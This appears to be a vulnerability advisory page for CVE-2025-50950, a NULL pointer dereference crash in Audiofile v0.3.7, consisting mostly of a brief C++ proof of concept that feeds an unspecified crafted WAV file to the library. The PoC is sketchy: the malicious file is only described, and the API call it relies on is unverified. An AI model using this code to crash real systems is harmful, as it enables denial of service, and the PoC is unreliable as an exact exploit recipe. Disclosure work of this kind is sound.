Audiofile v0.3.7 NULL指针解引用拒绝服务漏洞(CVE-2025-50950)

// CVE-2025-50950 PoC - NULL Pointer Dereference in Audiofile ModuleState::setup // Description: This PoC triggers NULL pointer dereference in Audiofile v0.3.7 // Target: ModuleState::setup function #include <audiofile.h> #include <iostream> int main() { // Open a crafted audio file that triggers NULL pointer in ModuleState::setup // The PoC file should be a valid audio file format (like WAV/AIFF) // with malformed metadata that causes ModuleState initialization to fail const char* poc_file = "CVE-2025-50950_poc.wav"; AFfilehandle file = afOpenFile(poc_file, "r", NULL); if (file == AF_NULL_FILEHANDLE) { std::cerr << "Failed to open file" << std::endl; return 1; } // This triggers the vulnerable code path afSetModuleState(file, AF_DEFAULT_TRACK, NULL); // If we reach here without crash, the vulnerability may be patched afCloseFile(file); return 0; } /* Expected behavior: - Vulnerable version: Program crashes with SIGSEGV (NULL pointer dereference) - Patched version: Handles NULL gracefully or rejects invalid input */